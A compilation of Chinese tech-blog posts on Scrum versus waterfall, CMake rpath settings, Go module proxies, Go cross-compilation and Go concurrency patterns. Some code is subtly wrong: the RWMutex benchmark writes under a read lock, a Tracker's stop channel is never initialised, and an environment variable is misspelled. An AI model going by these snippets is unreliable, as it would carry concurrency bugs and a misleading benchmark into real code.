敏捷为什么要使用Scrum而不是瀑布?

Scrum方法需要改变传统方法的思维方式。中心焦点已经从瀑布方法的范围转变为在Scrum中实现最大的商业价值。 在瀑布中,改变成本和进度以确保达到预期的范围,在Scrum中,可以改变质量和约束以实现获得最大商业价值的主要目标。瀑布模型适用于有序和可预测的项目,...
继续阅读 »

Scrum方法需要改变传统方法的思维方式。中心焦点已经从瀑布方法的范围转变为在Scrum中实现最大的商业价值。


在瀑布中,改变成本和进度以确保达到预期的范围,在Scrum中,可以改变质量和约束以实现获得最大商业价值的主要目标。

瀑布模型适用于有序和可预测的项目,其中所有要求都明确定义并且可以准确估计,并且在大多数行业中,此类项目正在减少。客户需求的变化导致企业适应和改变其交付方式的压力增大。

Scrum方法在当前市场中更为成功,其特点是不可预测性和波动性。Scrum方法基于inspect-adapt循环,而不是Waterfall方法的命令和控制结构。


Scrum项目以迭代方式完成,其中首先完成具有最高业务价值的功能。各个跨职能团队在Sprint中并行工作,以便在每个Sprint结束时提供潜在的可交付解决方案。


因为每次迭代都会产生可交付的解决方案(这是整个产品的一部分),所以团队必须实现可衡量的目标。这可确保团队正在进行,项目将按时完成。传统方法没有提供这种及时的检查,因此导致团队可能会下班并最终完成大量工作。


当客户定期与团队互动时,定期审查完成的工作; 因此,可以确保进度符合客户的要求。然而,在瀑布中没有这样的交互,因为工作是在筒仓中进行的,并且在项目结束之前没有可用的功能。


在复杂的项目中,客户不清楚他们在最终产品中需要什么,并且功能需求不断变化,迭代模型可以更灵活地确保在项目完成之前可以包含这些更改。


但是,当完成具有明确定义的功能的简单项目,并且当团队具有完成此类项目的先前经验(因此,估计将是准确的)时,瀑布方法可以是成功的。


敏捷 Vs 瀑布

下面是一个表格,可以更好地了解Scrum和瀑布的差异。

敏捷还是瀑布?

Standish Group的最新报告涵盖了他们在2013年至2017年期间研究的项目。在这段时间内,敏捷和瀑布的成功,挑战和失败的整体突破如下所示,敏捷项目成功的可能性大约是后者的2倍,失败的可能性降低1/3

来源:vitalitychicago.com - 比较瀑布和敏捷项目成功率


分享阅读: https://henduan.com/Aynya

收起阅读 »

cmake编译程序设置动态链接库加载路径

编译运行的程序需要链接到程序所在路径下的某些个动态库,为方便移植,必须设置链接库的相对路径,比如./lib等等。默认在Linux系统下动态库的搜寻路径如下: 使用选项-Wl,-rpath在编译时指定;通过配置LD_LIBRARY_PATH来指定;在/lib和/...
继续阅读 »

编译运行的程序需要链接到程序所在路径下的某些个动态库,为方便移植,必须设置链接库的相对路径,比如./lib等等。默认在Linux系统下动态库的搜寻路径如下:


  1. 使用选项-Wl,-rpath在编译时指定;
  2. 通过配置LD_LIBRARY_PATH来指定;
  3. /lib/usr/lib中查找;

其中第一个在gcc编译选项中添加:-Wl,rpath=xxx会将rpath路径写入到程序中保存起来。


为了方便移植运行一些编译安装的应用程序,在编译的时候需要设置链接库读取的相对路径目录, 比如../lib 或者./lib


默认在Linux系统下动态库的搜寻路径如下:


  1. 使用选项-Wl,-rpath在编译时指定rpath;
  2. 通过配置LD_LIBRARY_PATH来指定,运行加载;
  3. /lib/usr/lib等系统默认动态库路径中查找。

其中第一个在gcc编译选项中添加:-Wl,rpath=xxx会将rpath路径写入到程序中保存起来。
以下两种方式都可以用来配置rpath路径。

1、使用gcc编译选项:


add_definitions(-std=c++11)
SET(CMAKE_CXX_FLAGS_DEBUG "$ENV{CXXFLAGS} -O0 -Wall -g -ggdb -Wl,-rpath=./:./lib") #-Wl,-rpath=./
SET(CMAKE_CXX_FLAGS_RELEASE "$ENV{CXXFLAGS} -O3 -Wl,-rpath=./:./lib") #-Wall

2、使用cmake配置


set(CMAKE_SKIP_BUILD_RPATH FALSE)
set(CMAKE_BUILD_WITH_INSTALL_RPATH TRUE)
set(CMAKE_INSTALL_RPATH_USE_LINK_PATH TRUE)
set(CMAKE_INSTALL_RPATH "./lib")

或者


SET(CMAKE_SKIP_BUILD_RPATH FALSE)
SET(CMAKE_BUILD_WITH_INSTALL_RPATH FALSE)
SET(CMAKE_INSTALL_RPATH "${CMAKE_INSTALL_PREFIX}/lib:$ORIGIN/lib")
SET(CMAKE_INSTALL_RPATH_USE_LINK_PATH TRUE)

其中RPATH可以使用"./lib""./"配置,有可以使用"$ORIGIN/lib""\${ORIGIN}/lib",这里必须加上\符号,否则无法识别。


还可以同时定义多个RPATH,比如:"$ORIGIN:$ORIGIN/lib",中间使用:分割。


参考:https://blog.csdn.net/wh8_2011/article/details/79519293
CMAKE和RPATH:https://blog.csdn.net/zhangzq86/article/details/80718559
CMAKE中RPATH的用法:https://blog.csdn.net/z296671124/article/details/86699720
Linux C编程使用相对路径加载动态库: https://blog.csdn.net/dreamcs/article/details/52138229

收起阅读 »

每个伟大的产品需要一个伟大的ScrumMaster

摘要产品负责人和ScrumMaster是两个相互补充的独立敏捷角色。 为了出色地完成工作,产品所有者需要在他们身边强大的ScrumMaster。 不幸的是,我发现通常缺少可以支持产品所有者的ScrumMaster。 有时角色之间会混淆,或者根本没有Scrum...
继续阅读 »

摘要

产品负责人和ScrumMaster是两个相互补充的独立敏捷角色。 为了出色地完成工作,产品所有者需要在他们身边强大的ScrumMaster


不幸的是,我发现通常缺少可以支持产品所有者的ScrumMaster。 有时角色之间会混淆,或者根本没有ScrumMaster


这篇文章解释了这两个角色之间的区别,产品所有者应该从他们的ScrumMaster中获得什么,以及ScrumMasters从他们中可以期待什么。


产品负责人与ScrumMaster

产品负责人和ScrumMaster是相互补充的两个不同角色。 如果其中一个位置不正确,则另一个会受到影响。 作为产品负责人 ,您应对产品的成功负责-创造一种对用户和客户的工作都非常出色并满足其业务目标的产品。 因此,您可以与用户和客户以及内部利益相关者,开发团队和ScrumMaster进行交互,如下图所示。

上图中的灰色圆圈描述了由产品所有者,ScrumMaster和跨功能开发团队组成的Scrum团队。

ScrumMaster负责流程的成功 -帮助产品负责人和团队使用正确的流程来创建成功的产品,并促进组织变革和建立敏捷的工作方式。 因此,ScrumMaster与产品所有者和开发团队以及受Scrum影响的高级管理层,人力资源(HR)和业务组合作,如下图所示:

要成功成为产品负责人,需要正确的技能,时间,精力和重点。 扮演ScrumMaster角色也是如此。 将这两个角色(甚至是部分角色)组合在一起不仅非常具有挑战性,而且意味着忽略了某些职责。 如果您是产品所有者,请不要承担ScrumMaster的职责!

产品负责人对ScrumMaster的期望

作为产品所有者,您应该从以下几种方面受益于ScrumMaster的工作。 ScrumMaster应该指导团队,以便团队成员可以构建出色的产品,促进组织变革,以便组织利用Scrum并帮助您完成出色的工作:

下表详细说明了您应该从ScrumMaster获得的支持:

ScrumMaster支持您作为产品所有者,因此您可以专注于自己的工作-确保创建具有正确用户体验(UX)和正确功能的正确产品。 如果您的ScrumMaster不提供或无法提供此支持,请与个人联系,并找出问题所在。 不要介入并接管ScrumMaster的工作。 如果您没有ScrumMaster,请将上面的列表显示给您的高级管理层赞助商或老板,以解释为什么您需要身边有合格的ScrumMaster。

ScrumMaster应该对产品负责人有什么期望

Tango花了两个时间,ScrumMaster对您作为产品所有者的工作抱有期望,这是公平的。 下图说明了其中的一些:

下表更详细地描述了ScrumMaster的期望:

英文原文: https://henduan.com/1pjvW

收起阅读 »

Scrum是一个用于开发和维护复杂产品的框架

Scrum是一个用于开发和维护复杂产品的框架 ,是一个增量的、迭代的开发过程。在这个框架中,整个开发过程由若干个短的迭代周期组成,一个短的迭代周期称为一个Sprint,每个Sprint的建议长度是2到4周(互联网产品研发可以使用1周的Sprint)。 在Scr...
继续阅读 »

Scrum是一个用于开发和维护复杂产品的框架 ,是一个增量的、迭代的开发过程。在这个框架中,整个开发过程由若干个短的迭代周期组成,一个短的迭代周期称为一个Sprint,每个Sprint的建议长度是2到4周(互联网产品研发可以使用1周的Sprint)。


在Scrum中,使用产品Backlog来管理产品的需求,产品backlog是一个按照商业价值排序的需求列表,列表条目的体现形式通常为用户故事。Scrum团队总是先开发对客户具有较高价值的需求。在Sprint中,Scrum团队从产品Backlog中挑选最高优先级的需求进行开发。


挑选的需求在Sprint计划会议上经过讨论、分析和估算得到相应的任务列表,我们称它为Sprint backlog。在每个迭代结束时,Scrum团队将递交潜在可交付的产品增量。 Scrum起源于软件开发项目,但它适用于任何复杂的或是创新性的项目。

SCRUM框架包括3个角色、3个工件、5个事件、5个价值

3个角色


  • 产品负责人(Product Owner)
  • Scrum Master
  • 开发团队

3个工件


  • 产品Backlog(Product Backlog)
  • SprintBacklog
  • 产品增量(Increment)

5个事件


  • Sprint(Sprint本身是一个事件,包括了如下4个事件)
  • Sprint计划会议(Sprint Planning Meeting)
  • 每日站会(Daily Scrum Meeting)
  • Sprint评审会议(Sprint Review Meeting)
  • Sprint回顾会议(Sprint Retrospective Meeting)

5个价值


  • 承诺 – 愿意对目标做出承诺
  • 专注– 把你的心思和能力都用到你承诺的工作上去
  • 开放– Scrum 把项目中的一切开放给每个人看
  • 尊重– 每个人都有他独特的背景和经验
  • 勇气– 有勇气做出承诺,履行承诺,接受别人的尊重


SCRUM理论基础

Scrum以经验性过程控制理论(经验主义)做为理论基础的过程。经验主义主张知识源于经验, 以及基于已知的东西做决定。Scrum 采用迭代、增量的方法来优化可预见性并控制风险。


Scrum 的三大支柱支撑起每个经验性过程控制的实现:透明性、检验和适应。Scrum的三大支柱如下:


第一:透明性(Transparency)


透明度是指,在软件开发过程的各个环节保持高度的可见性,影响交付成果的各个方面对于参与交付的所有人、管理生产结果的人保持透明。管理生产成果的人不仅要能够看到过程的这些方面,而且必须理解他们看到的内容。也就是说,当某个人在检验一个过程,并确信某一个任务已经完成时,这个完成必须等同于他们对完成的定义。


第二:检验(Inspection)


开发过程中的各方面必须做到足够频繁地检验,确保能够及时发现过程中的重大偏差。在确定检验频率时,需要考虑到检验会引起所有过程发生变化。当规定的检验频率超出了过程检验所能容许的程度,那么就会出现问题。幸运的是,软件开发并不会出现这种情况。另一个因素就是检验工作成果人员的技能水平和积极性。


第三:适应(Adaptation)


如果检验人员检验的时候发现过程中的一个或多个方面不满足验收标准,并且最终产品是不合格的,那么便需要对过程或是材料进行调整。调整工作必须尽快实施,以减少进一步的偏差。


Scrum中通过三个活动进行检验和适应:每日例会检验Sprint目标的进展,做出调整,从而优化次日的工作价值;Sprint评审和计划会议检验发布目标的进展,做出调整,从而优化下一个Sprint的工作价值;Sprint回顾会议是用来回顾已经完成的Sprint,并且确定做出什么样的改善可以使接下来的Sprint更加高效、更加令人满意,并且工作更快乐。

全文阅读:https://www.scrumcn.com/agile/scrum-knowledge-library/scrum.html

收起阅读 »

Go模块代理大全

1.GoProxy官网地址: https://www.goproxy.io/zh/ Bash (Linux or macOS): # 配置 GOPROXY 环境变量 export GOPROXY=https://goproxy.io,direct # 还可以设...
继续阅读 »

1.GoProxy

官网地址: https://www.goproxy.io/zh/


Bash (Linux or macOS):


# 配置 GOPROXY 环境变量
export GOPROXY=https://goproxy.io,direct
# 还可以设置不走 proxy 的私有仓库或组,多个用逗号相隔(可选)
export GOPRIVATE=git.mycompany.com,github.com/my/private

PowerShell (Windows)


# 配置 GOPROXY 环境变量
$env:GOPROXY = "https://goproxy.io,direct"
# 还可以设置不走 proxy 的私有仓库或组,多个用逗号相隔(可选)
$env:GOPRIVATE = "git.mycompany.com,github.com/my/private"

设置完上面几个环境变量后,您的 go 命令将从公共代理镜像中快速拉取您所需的依赖代码了。或者,还可以根据文档进行设置使其长期生效。如果您使用的是老版本的 Go(< 1.13), 我们建议您升级为最新稳定版本。


2.七牛GoProxy中国

官网地址:https://goproxy.cn/


Go 1.13 及以上(推荐),打开你的终端并执行


$ go env -w GO111MODULE=on
$ go env -w GOPROXY=https://goproxy.cn,direct

macOS 或 Linux


$ export GO111MODULE=on
$ export GOPROXY=https://goproxy.cn

或者


$ echo "export GO111MODULE=on" >> ~/.profile
$ echo "export GOPROXY=https://goproxy.cn" >> ~/.profile
$ source ~/.profile

Windows, 打开你的 PowerShell 并执行


C:\> $env:GO111MODULE = "on"
C:\> $env:GOPROXY = "https://goproxy.cn"

或者


1. 打开“开始”并搜索“env”
2. 选择“编辑系统环境变量”
3. 点击“环境变量…”按钮
4. 在“<你的用户名> 的用户变量”章节下(上半部分)
5. 点击“新建…”按钮
6. 选择“变量名”输入框并输入“GO111MODULE”
7. 选择“变量值”输入框并输入“on”
8. 点击“确定”按钮
9. 点击“新建…”按钮
10. 选择“变量名”输入框并输入“GOPROXY”
11. 选择“变量值”输入框并输入“https://goproxy.cn”
12. 点击“确定”按钮

3.百度Go Module代理

官网地址: https://goproxy.baidu.com/
简介:go module公共代理仓库,代理并缓存go模块。你可以利用该代理来避免DNS污染导致的模块拉取缓慢或失败的问题,加速你的构建

1.使用go1.11以上版本并开启go module机制


export GOPROXY=https://goproxy.baidu.com/           ## 配置GOPROXY环境变量

2.使用go1.13以上版本


go env -w GONOPROXY=\*\*.baidu.com\*\*              ## 配置GONOPROXY环境变量,所有百度内代码,不走代理
go env -w GONOSUMDB=\* ## 配置GONOSUMDB,暂不支持sumdb索引
go env -w GOPROXY=https://goproxy.baidu.com ## 配置GOPROXY,可以下载墙外代码

4.阿里云Go Module代理

官网:http://mirrors.aliyun.com/goproxy/


1.使用go1.11以上版本并开启go module机制
2.导出GOPROXY环境变量

export GOPROXY=https://mirrors.aliyun.com/goproxy/

官网安装包国内下载地址

  1. Go中文社区:https://studygolang.com/dl
  2. Gomirrors: https://gomirrors.org/
收起阅读 »

Go交叉编译的那些事

最近两个月,一直在搞项目的国产化移植,把golang开发好的程序,运行在国产化平台上,操作系统基本都是基于Linux,但是CPU架构除了x86,还有ARM和MIPS,我们平时的Golang都是运行于x86 && x64 架构的CPU上,因此移...
继续阅读 »

最近两个月,一直在搞项目的国产化移植,把golang开发好的程序,运行在国产化平台上,操作系统基本都是基于Linux,但是CPU架构除了x86,还有ARM和MIPS,我们平时的Golang都是运行于x86 && x64 架构的CPU上,因此移植过程中遇到了好多坑,记录于此。



Golang交叉编译

交叉编译
在X64上的ubuntu 16.04系统上编译出其他平台的可执行程序, 查看Golang支持的平台和版本:


go tool dist list

此命令会列出所有go语言支持的操作系统和cpu架构


aix/ppc64
android/386
android/amd64
android/arm
android/arm64
darwin/amd64
darwin/arm64
dragonfly/amd64
freebsd/386
freebsd/amd64
freebsd/arm
freebsd/arm64
illumos/amd64
js/wasm
linux/386
linux/amd64
linux/arm
linux/arm64
linux/mips
linux/mips64
linux/mips64le
linux/mipsle
linux/ppc64
linux/ppc64le
linux/riscv64
linux/s390x
netbsd/386
netbsd/amd64
netbsd/arm
netbsd/arm64
openbsd/386
openbsd/amd64
openbsd/arm
openbsd/arm64
plan9/386
plan9/amd64
plan9/arm
solaris/amd64
windows/386
windows/amd64
windows/arm

其实go的交叉编译非常简单,只需要在编译前指定系统和CPU架构,基本不会有任何问题,编译出来将文件拷贝到对应平台就能跑:


GOOS=linux GOARCH=arm64 go build xxx.go
# 有时候需要加上CGO_ENABLE=0
CGO_ENABLE=0 GOOS=linux GOARCH=arm64 go build xxx.go

go语言的交叉编译支持非常好,只要按照上述步骤基本不会出什么问题。坑,主要就坑在cgo, CGO_ENABLED=0 关闭cgo。


采用cgo的交叉编译

使用cgo,就必须指定CGO_ENABLE=1。并且必须指定CC参数为对应架构的gcc的交叉编译器。
假设我们编译64位ARM平台的程序,就要提前下载aarch64版本的c++交叉编译工具

CGO_ENABLED=1 GOOS=linux GOARCH=arm64 CC=./aarch64-unknown-linux-gnueabi-5.4.0-2.23-4.4.6/bin/aarch64-unknown-linux-gnueabi-gcc go build xxx.go

如果调用的CGO调用的C程序中依赖各种库,那么这个编译过程会报错各种依赖的库not found,各种基本的函数未定义。而且都是系统中最基本的库如libglibc、libgstream等。


解决方案是必须在编译时,加上链接库的参数,而链接的库必须是交叉编译出的目标平台的系统库而不是当前系统的。


这个在下载交叉编译工具链的时候,一般都会附带,我这里放到系统根目录下,然后通过C++编译时链接库的语法将库链接进去:
主要是三个参数:-I , -isystem , -L, -l
下面命令是个例子,假设项目中用到了phnono、curl、protobuf等组件:


CGO_ENABLED=1 GOOS=linux GOARCH=arm64 CC=./aarch64-unknown-linux-gnueabi-5.4.0-2.23-4.4.6/bin/aarch64-unknown-linux-gnueabi-gcc -Wall -std=c++11 -Llib -isystem/aarch64/usr/include -L/aarch64/lib -ldl -lpthread -Wl,-rpath-link,/aarch64/lib -L/aarch64/lib/aarch64-linux-gnu -L/aarch64/usr/lib -I/aarch64/usr/include -L/aarch64/usr/lib/aarch64-linux-gnu -ldl -lpthread -Wl,-rpath-link,/aarch64/usr/lib/aarch64-linux-gnu -lphonon -lcurl -lprotobuf go build xxx.go

到这一步,就基本解决了无法编译的坑。


平台差异的问题

在编译ARM版本的代码时,报错好几个系统调用找不到:


  • undefined: syscall.Dup2
  • undefined: syscall.SYS_FORK

解决方案:对比golang源码实现:go/src/syscall/zsyscall_linux_amd64.gogo/src/syscall/zsyscall_linux_arm64.go,发现arm平台未实现Dup2但是提供了Dup3,参数略有差异,解决办法是修改调用的地方:


// - syscall.Dup2(oldfd, newfd) 修改为:
syscall.Dup3(oldfd,newfd,0)

SYS_FORK的调用,查找之下发现golang的ARM实现根本没有实现fork的系统调用,没有SYS_FORK这个宏或替代品。
无奈只能修改项目代码,将fork的系统调用改为别的方式实现。

MIPS的大小端问题

报错:go.o: compiled for a big endian system and target is little endian
主要体现在大小端字节序的问题,这是我在交叉编译Mips版本发现的一个问题,仔细查看了我的编译命令发现:

CGO_ENABLED=1 GOOS=linux GOARCH=mips64 CC=./mips64el-unknown-linux-gnu-5.4.0-2.12-2.6.32/bin/mips64el-unknown-linux-gnu-gcc go build xxx.go

这里的命令中:CC指定的是mips64el的编译器,el代表小端字节序,而GOARCH=mips64这是大端字节序,前后不一致导致编译的报错,
解决方案:go和gcc保持统一、以目标平台为准(龙芯是小端字节序)

  • 将GOARCH指定为mips64le(注意是le不是el)
  • 最好加上LDFLAG=-EL
CGO_ENABLED=1 GOOS=linux GOARCH=mips64le CC=./mips64el-unknown-linux-gnu-5.4.0-2.12-2.6.32/bin/mips64el-unknown-linux-gnu-gcc LDFLAGS=-EL go build xxx.go

总结经验:


1. golang程序开发少用原生的系统调用syscall
2. 能用go解决的,尽可能不要用cgo
3. 如果有模块必须通过C/C++调用,推荐C++和golang分离,C++和Golang程序间使用socket等方式进行进程间通信

分享阅读原文:https://henduan.com/wNyCI

收起阅读 »

Go进阶笔记-并发编程

goroutineGo 语言层面支持的 go 关键字,可以快速的让一个函数创建为 goroutine,我们可以认为 main 函数就是作为 goroutine 执行的。操作系统调度线程在可用处理器上运行,Go运行时调度 goroutines 在绑定到单个操作系...
继续阅读 »

goroutine

Go 语言层面支持的 go 关键字,可以快速的让一个函数创建为 goroutine,我们可以认为 main 函数就是作为 goroutine 执行的。操作系统调度线程在可用处理器上运行,Go运行时调度 goroutines 在绑定到单个操作系统线程的逻辑处理器中运行(P)。即使使用这个单一的逻辑处理器和操作系统线程,也可以调度数十万 goroutine 以惊人的效率和性能并发运行。


并发不是并行。并行是指两个或多个线程同时在不同的处理器执行代码。如果将运行时配置为使用多个逻辑处理器,则调度程序将在这些逻辑处理器之间分配 goroutine,这将导致 goroutine 在不同的操作系统线程上运行。但是,要获得真正的并行性,您需要在具有多个物理处理器的计算机上运行程序。否则,goroutines 将针对单个物理处理器并发运行,即使 Go 运行时使用多个逻辑处理器。


虽然go 开启一个goroutine很方便,但是这并意味着我们可以不过脑子的随便go,我们每次go开启一个goroutine都要思考如下问题:


  • 它什么时候会退出?
  • 如何能够让它结束?
  • 把并发交给调用者!

初学者写go代码的时候经常可能是如下例子:


package main

import (
"fmt"
"net/http"
)

func main() {
mux := http.NewServeMux()
mux.HandleFunc("/", func(rw http.ResponseWriter, r *http.Request) {
fmt.Println(rw, "Hello Golang")
})
go http.ListenAndServe("127.0.0.1:8080", http.DefaultServeMux)
http.ListenAndServe("127.0.0.1:9090", mux)
}

这里很明显我们对go开启的goroutine 是不能能知道它什么时候会退出的,并且我们也没有一个好的办法让它退出,优雅的代码应该如下:


package main

import (
"context"
"fmt"
"net/http"
)


func serverApp(stop <-chan struct{}) error {
mux := http.NewServeMux()
mux.HandleFunc("/", func(rw http.ResponseWriter, r *http.Request) {
fmt.Println(rw, "Hello Golang")
})
s := http.Server{
Addr: "0.0.0.0:8080",
Handler: mux,
}
go func() {
<-stop
s.Shutdown(context.Background())
}()
return s.ListenAndServe()

}

func serverDebug(stop <-chan struct{}) error {
s := http.Server{
Addr: "0.0.0.0:9090",
Handler: http.DefaultServeMux,
}
go func() {
<-stop
s.Shutdown(context.Background())
}()
return s.ListenAndServe()
}

func main() {
done := make(chan error, 2)
stop := make(chan struct{})
go func() {
done <- serverApp(stop)
}()
go func() {
done <- serverDebug(stop)
}()

var stoped bool
for i := 0; i < cap(done); i++ {
if err := <-done; err != nil {
fmt.Printf("error:%v\n", err)
}
if !stoped {
stoped = true
close(stop)
}
}
}

我们再看一个例子:


type Tracker struct{}

func (t *Tracker) Event(data string) {
time.Sleep(time.Microsecond)
log.Println(data)
}

type App struct {
track Tracker
}

func (a *App) Handle(w http.ResponseWriter, r *http.Request) {

// do some work
w.WriteHeader(http.StatusCreated)

// 这个地方其实是有问题的
go a.track.Event("test event")

}

还是同样的,重要的事情先思考如下问题:


  • 它什么时候会退出?
  • 如何能够让它结束?
  • 把并发交给调用者!

显然上面的代码是不满足的,更改之后如下:


package main

import (
"context"
"fmt"
"time"
)

func main() {
tr := NewTracker()
go tr.Run()

_ = tr.Event(context.Background(), "test1")
_ = tr.Event(context.Background(), "test2")
_ = tr.Event(context.Background(), "test3")
_ = tr.Event(context.Background(), "test4")
_ = tr.Event(context.Background(), "test5")
_ = tr.Event(context.Background(), "test6")
ctx, cancel := context.WithDeadline(context.Background(), time.Now().Add(3*time.Second))
defer cancel()
tr.Shutdown(ctx)
}

type Tracker struct {
ch chan string
stop chan struct{}
}

func NewTracker() *Tracker {
return &Tracker{
ch: make(chan string, 10),
}
}

func (t *Tracker) Event(ctx context.Context, data string) error {
select {
case t.ch <- data:
return nil
case <-ctx.Done():
return ctx.Err()
}
}

func (t *Tracker) Run() {
for data := range t.ch {
time.Sleep(1 * time.Second)
fmt.Println(data)
}
t.stop <- struct{}{}
}

func (t *Tracker) Shutdown(ctx context.Context) {
close(t.ch)
select {
case <-t.stop:
case <-ctx.Done():
}
}

sync

Go 的并发原语 goroutines 和 channels 为构造并发软件提供了一种优雅而独特的方法。


在Go中如果我们写完代码想要对代码是否存在数据竞争进行检查,可以通过go build -race 对程序进行编译


package main

import (
"fmt"
"sync"
)

var Wait sync.WaitGroup
var Counter int = 0

func main() {
for routine := 1; routine <= 2; routine++ {
Wait.Add(1)
go Routine()
}
Wait.Wait()
fmt.Printf("Final Counter:%d\n", Counter)
}

func Routine() {
Counter++
Wait.Done()
}

go build -race 编译后的程序,运行可以很方便看到代码中存在的问题


==================
WARNING: DATA RACE
Read at 0x000001277ce0 by goroutine 8:
main.Routine()
/Users/zhaofan/open_source_study/test_code/202012/race/main.go:21 +0x3e

Previous write at 0x000001277ce0 by goroutine 7:
main.Routine()
/Users/zhaofan/open_source_study/test_code/202012/race/main.go:21 +0x5a

Goroutine 8 (running) created at:
main.main()
/Users/zhaofan/open_source_study/test_code/202012/race/main.go:14 +0x6b

Goroutine 7 (finished) created at:
main.main()
/Users/zhaofan/open_source_study/test_code/202012/race/main.go:14 +0x6b
==================
Final Counter:2
Found 1 data race(s)

对于锁的使用: 最晚加锁,最早释放。


对于下面这段代码,这是模拟一个读多写少的情况,正常情况下,每次读到cfg中的数字都应该是依次递增加1的,但是如果运行代码,则会发现,会出现意外的情况。


package main

import (
"fmt"
"sync"
)

var wg sync.WaitGroup

type Config struct {
a []int
}

func main() {
cfg := &Config{}
// 这里模拟数据的变化
go func() {
i := 0
for {
i++
cfg.a = []int{i, i + 1, i + 2, i + 3, i + 4, i + 5}
}
}()

// 这里模拟去获取数据
var wg sync.WaitGroup
for n := 0; n < 4; n++ {
wg.Add(1)
go func() {
for n := 0; n < 20; n++ {
fmt.Printf("%v\n", cfg)
}
wg.Done()
}()
}
wg.Wait()
}

对于上面这个代码的解决办法有很多


  • Mutex
  • RWMutext
  • Atomic

对于这种读多写少的情况,使用RWMutext或Atomic 都可以解决,这里只写写一个两者的对比,通过测试也很容易看到两者的性能差别:


package main

import (
"sync"
"sync/atomic"
"testing"
)

type Config struct {
a []int
}

func (c *Config) T() {

}

func BenchmarkAtomic(b *testing.B) {
var v atomic.Value
v.Store(&Config{})

go func() {
i := 0
for {
i++
cfg := &Config{a: []int{i, i + 1, i + 2, i + 3, i + 4, i + 5}}
v.Store(cfg)
}
}()

var wg sync.WaitGroup
for n := 0; n < 4; n++ {
wg.Add(1)
go func() {
for n := 0; n < b.N; n++ {
cfg := v.Load().(*Config)
cfg.T()
// fmt.Printf("%v\n", cfg)
}
wg.Done()
}()
}
wg.Wait()
}

func BenchmarkMutex(b *testing.B) {
var l sync.RWMutex
var cfg *Config

go func() {
i := 0
for {
i++
l.RLock()
cfg = &Config{a: []int{i, i + 1, i + 2, i + 3, i + 4, i + 5}}
cfg.T()
l.RUnlock()
}
}()

var wg sync.WaitGroup
for n := 0; n < 4; n++ {
wg.Add(1)
go func() {
for n := 0; n < b.N; n++ {
l.RLock()
cfg.T()
l.RUnlock()
}
wg.Done()
}()
}
wg.Wait()
}

从结果来看性能差别还是非常明显的:


 zhaofan@zhaofandeMBP  ~/open_source_study/test_code/202012/atomic_ex2  go test -bench=. config_test.go
goos: darwin
goarch: amd64
BenchmarkAtomic-4 310045898 3.91 ns/op
BenchmarkMutex-4 11382775 101 ns/op
PASS
ok command-line-arguments 3.931s
zhaofan@zhaofandeMBP  ~/open_source_study/test_code/202012/atomic_ex2 

Mutext锁的实现有一下几种模式:


  • Barging, 这种模式是为了提高吞吐量,当锁释放时,它会唤醒第一个等待者,然后把锁给第一个等待者或者第一个请求锁的人。注意这个时候释放锁的那个goroutine 是不会保证下一个人一定能拿到锁,可以理解为只是告诉等待的那个人,我已经释放锁了,快去抢吧。
  • Handsoff,当释放锁的时候,锁会一直持有直到第一个等待者准备好获取锁,它降低了吞吐量,因为锁被持有,即使另外一个goroutine准备获取它。相对Barging,这种在释放锁的时候回问下一个要获取锁的,你准备好了么,准备好了我就把锁给你了。
  • Spinning,自旋在等待队列为空或者应用程序重度使用锁时效果不错,parking和unparking goroutines 有不低的性能成本开销,相比自旋来说要慢的多。

Go 1.8 使用了Bargin和Spinning的结合实现。当试图获取已经被持有的锁时,如果本地队列为空并且P的数量大于1,goroutine 将自旋几次(用一个P旋转会阻塞程序),自旋后,goroutine park 在程序高频使用锁的情况下,它充当了一个快速路径。


Go1.9 通过添加一个新的饥饿模式来解决出现锁饥饿的情况,该模式将会在释放的时候触发handsoff, 所有等待锁超过一毫秒的goroutine(也被称为有界等待)将被诊断为饥饿,当被标记为饥饿状态时,unlock方法会handsoff把锁直接扔给第一个等待者。


在饥饿模式下,自旋也会被停用,因为传入的goroutines将没有机会获取为下一个等待者保留的锁。


errgroup

https://pkg.go.dev/golang.org/x/sync/errgroup


使用场景,如果我们有一个复杂的任务,需要拆分为三个任务goroutine 去执行,errgroup 是一个非常不错的选择。


下面是官网的一个例子:


package main

import (
"fmt"
"golang.org/x/sync/errgroup"
"net/http"
)

func main() {
g := new(errgroup.Group)
var urls = []string{
"http://www.golang.org/",
"http://www.google.com/",
"http://www.somestupidname.com/",
}
for _, url := range urls {
// Launch a goroutine to fetch the URL.
url := url // https://golang.org/doc/faq#closures_and_goroutines
g.Go(func() error {
// Fetch the URL.
resp, err := http.Get(url)
if err == nil {
resp.Body.Close()
}
return err
})
}
// Wait for all HTTP fetches to complete.
if err := g.Wait(); err == nil {
fmt.Println("Successfully fetched all URLs.")
}
}

Sync.Poll

sync.poll的场景是用来保存和复用临时对象,减少内存分配,降低GC压力, Request-Drive 特别适合


Get 返回Pool中的任意一个对象,如果Pool 为空,则调用New返回一个新创建的对象


放进pool中的对象,不确定什么时候就会被回收掉,如果实现Put进去100个对象,下次Get的时候发现Pool是空的也是有可能的。所以sync.Pool中是不能放连接型的对象。所以sync.Pool中应该放的是任意时刻都可以被回收的对象。


sync.Pool中的这个清理过程是在每次垃圾回收之前做的,之前每次GC是都会清空pool, 而在1.13版本中引入了victim cache, 会将pool内数据拷贝一份,避免GC将其清空,即使没有引用的内容也可以保留最多两轮GC。


Context

在Go 服务中,每个传入的请求都在自己的goroutine中处理,请求处理程序通常启动额外的goroutine 来访问其他后端,如数据库和RPC服务,处理请求的goroutine通常需要访问特定于请求(request-specific context)的值,例如最终用户的身份,授权令牌和请求的截止日期。*当一个请求被取消或者超时时,处理该请求的所有goroutine都应该快速推出,这样系统就可以回收他们正在使用的任何资源。


如何将context 集成到API中?


  • 首参数传递context对象
  • 在第一个request对象中携带一个可选的context对象

注意:尽量把context 放到函数的首选参数,而不要把context 放到一个结构体中。


context.WithValue

为了实现不断WithValue, 构建新的context,内部在查找key时候,使用递归方式不断寻找匹配的key,知道root context(Backgrond和TODO value的函数会返回nil)


context.WithValue 方法允许上下文携带请求范围的数据,这些数据必须是安全的,以便多个goroutine同时使用。这里的数据,更多是面向请求的元数据,而不应该作为函数的可选参数来使用(比如context里挂了一个sql.Tx对象,传递到Dao层使用),因为元数据相对函数参数更多是隐含的,面向请求的。而参数更多是显示的。
同一个context对象可以传递给在不同的goroutine中运行的函数;上下文对于多个goroutine同时使用是安全的。对于值类型最容易犯错的地方,在于context value 应该是不可修改的,每次重新赋值应该是新的context,即: context.WithValue(ctx, oldvalue),所以这里就是一个麻烦的地方,如果有多个key/value ,就需要多次调用context.WithValue, 为了解决这个问题,https://pkg.go.dev/google.golang.org/grpc/metadata 在grpc源码中使用了一个metadata.


